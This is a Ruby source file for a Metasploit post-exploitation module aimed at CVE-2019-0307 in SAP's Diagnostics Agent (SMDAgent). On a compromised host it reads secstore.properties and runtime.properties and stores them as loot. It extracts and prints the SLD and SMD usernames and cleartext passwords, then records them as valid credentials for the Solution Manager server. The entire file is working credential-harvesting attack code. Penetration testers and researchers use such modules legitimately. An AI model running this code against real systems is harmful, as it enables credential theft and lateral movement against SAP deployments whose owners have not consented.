metasploit-framework/modules/post/multi/sap/smdagent_get_properties.rb

257 lines
8.2 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'resolv'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Exploit::Local::SapSmdAgentUnencryptedProperty
SECSTORE_FILE = 'secstore.properties'.freeze
RUNTIME_FILE = 'runtime.properties'.freeze
WIN_PREFIX = 'c:\\usr\\sap\\DAA\\'.freeze
UNIX_PREFIX = '/usr/sap/DAA/'.freeze
WIN_SUFFIX = '\\SMDAgent\\configuration\\'.freeze
UNIX_SUFFIX = '/SMDAgent/configuration/'.freeze
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Diagnostics Agent in Solution Manager, stores unencrypted credentials for Solution Manager server',
'Description' => %q{
This module retrieves the `secstore.properties` file on a SMDAgent. This file contains the credentials
used by the SMDAgent to connect to the SAP Solution Manager server.
},
'License' => MSF_LICENSE,
'Author' => [
'Yvan Genuer', # @_1ggy The researcher who originally found this vulnerability
'Vladimir Ivanov' # @_generic_human_ This Metasploit module
],
'Platform' => %w[bsd linux osx unix win],
'SessionTypes' => %w[meterpreter shell],
'References' => [
[ 'CVE', '2019-0307' ],
[ 'URL', 'https://conference.hitb.org/hitblockdown002/materials/D2T1%20-%20SAP%20RCE%20-%20The%20Agent%20Who%20Spoke%20Too%20Much%20-%20Yvan%20Genuer.pdf' ]
],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_net_resolve_host
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
end
def run
case session.type
when 'meterpreter'
meterpreter = true
else
meterpreter = false
end
case session.platform
when 'windows'
windows = true
instances = dir(WIN_PREFIX)
else
windows = false
instances = dir(UNIX_PREFIX)
end
if instances.nil? || instances.empty?
fail_with(Failure::NotFound, 'SAP root directory not found')
end
instances.each do |instance|
next if instance == 'SYS'
next if instance.include? ' '
next if instance.include? '.'
next if instance.include? 'tmp'
if windows
runtime_properties_file_name = "#{WIN_PREFIX}#{instance}#{WIN_SUFFIX}#{RUNTIME_FILE}"
secstore_properties_file_name = "#{WIN_PREFIX}#{instance}#{WIN_SUFFIX}#{SECSTORE_FILE}"
else
runtime_properties_file_name = "#{UNIX_PREFIX}#{instance}#{UNIX_SUFFIX}#{RUNTIME_FILE}"
secstore_properties_file_name = "#{UNIX_PREFIX}#{instance}#{UNIX_SUFFIX}#{SECSTORE_FILE}"
end
runtime_properties = parse_properties_file(runtime_properties_file_name, meterpreter)
secstore_properties = parse_properties_file(secstore_properties_file_name, meterpreter)
next if runtime_properties.empty?
print_line
print_status("Instance: #{instance}")
print_status("Runtime properties file name: #{runtime_properties_file_name}")
print_status("Secstore properties file name: #{secstore_properties_file_name}")
sld_protocol = nil
sld_hostname = nil
sld_address = nil
sld_port = nil
sld_username = nil
sld_password = nil
smd_url = nil
smd_username = nil
smd_password = nil
# Parse runtime.properties file
runtime_properties.each do |property|
if property[:name].include?('sld.')
case property[:name]
when /hostprotocol/
sld_protocol = property[:value]
when /hostname/
sld_hostname = property[:value]
when /hostport/
sld_port = property[:value]
end
elsif property[:name].include?('smd.')
case property[:name]
when /url/
smd_url = property[:value].gsub(/\\:/, ':')
end
end
end
# Parse secstore.properties file
secstore_properties.each do |property|
if property[:name].include?('sld/')
case property[:name]
when /usr/
sld_username = property[:value]
when /pwd/
sld_password = property[:value]
end
elsif property[:name].include?('smd/')
case property[:name]
when /User/
smd_username = property[:value]
when /Password/
smd_password = property[:value]
end
end
end
# Print SLD properties
if !sld_protocol.nil? || !sld_hostname.nil? || !sld_port.nil? || !sld_username.nil? || !sld_password.nil?
print_line
print_status('SLD properties:')
print_status("SLD protocol: #{sld_protocol}") unless sld_protocol.nil?
unless sld_hostname.nil?
print_status("SLD hostname: #{sld_hostname}")
if meterpreter
if sld_hostname =~ Resolv::IPv4::Regex
sld_address = sld_hostname
else
begin
sld_address = session.net.resolve.resolve_host(sld_hostname)[:ip]
print_status("SLD address: #{sld_address}")
rescue Rex::Post::Meterpreter::RequestError
print_error("Failed to resolve SLD hostname: #{sld_hostname}")
end
end
end
end
print_status("SLD port: #{sld_port}") unless sld_port.nil?
print_good("SLD username: #{sld_username}") unless sld_username.nil?
print_good("SLD password: #{sld_password}") unless sld_password.nil?
end
# Print SMD properties
if !smd_url.nil? || !smd_username.nil? || !smd_password.nil?
print_line
print_status('SMD properties:')
print_status("SMD url: #{smd_url}") unless smd_url.nil?
print_good("SMD username: #{smd_username}") unless smd_username.nil?
print_good("SMD password: #{smd_password}") unless smd_password.nil?
end
# Store decoded credentials, report service and vuln
print_line
if sld_username.nil? || sld_password.nil?
print_error("File #{secstore_properties_file_name} read, but this file is likely encrypted or does not contain credentials. This SMDAgent is likely patched.")
else
# Store decoded credentials
print_good('Store decoded credentials for SolMan server')
if sld_address.nil? || sld_port.nil?
service_data = {}
else
service_data = {
origin_type: :service,
address: sld_address,
port: sld_port,
service_name: 'http',
protocol: 'tcp'
}
# Report service
report_service(
host: sld_address,
port: sld_port,
name: 'http',
proto: 'tcp',
info: 'SAP Solution Manager'
)
end
store_valid_credential(
user: sld_username,
private: sld_password,
private_type: :password,
service_data: service_data
)
# Report vulnerability
if meterpreter
agent_host = Rex::Socket.getaddress(session.sock.peerhost, true)
else
agent_host = session.session_host
end
report_vuln(
host: agent_host,
name: name,
refs: references
)
end
end
end
def parse_properties_file(filename, is_meterpreter)
properties = []
if file_exist?(filename)
properties_content = read_file(filename)
if properties_content.nil?
print_error("Failed to read properties file: #{filename}")
else
if is_meterpreter
agent_host = Rex::Socket.getaddress(session.sock.peerhost, true)
else
agent_host = session.session_host
end
loot = store_loot('smdagent.properties', 'text/plain', agent_host, properties_content, filename, 'SMD Agent properties file')
print_good("File #{filename} saved in: #{loot}")
properties = parse_properties(properties_content)
end
else
print_error("File: #{filename} does not exist")
end
properties
end
end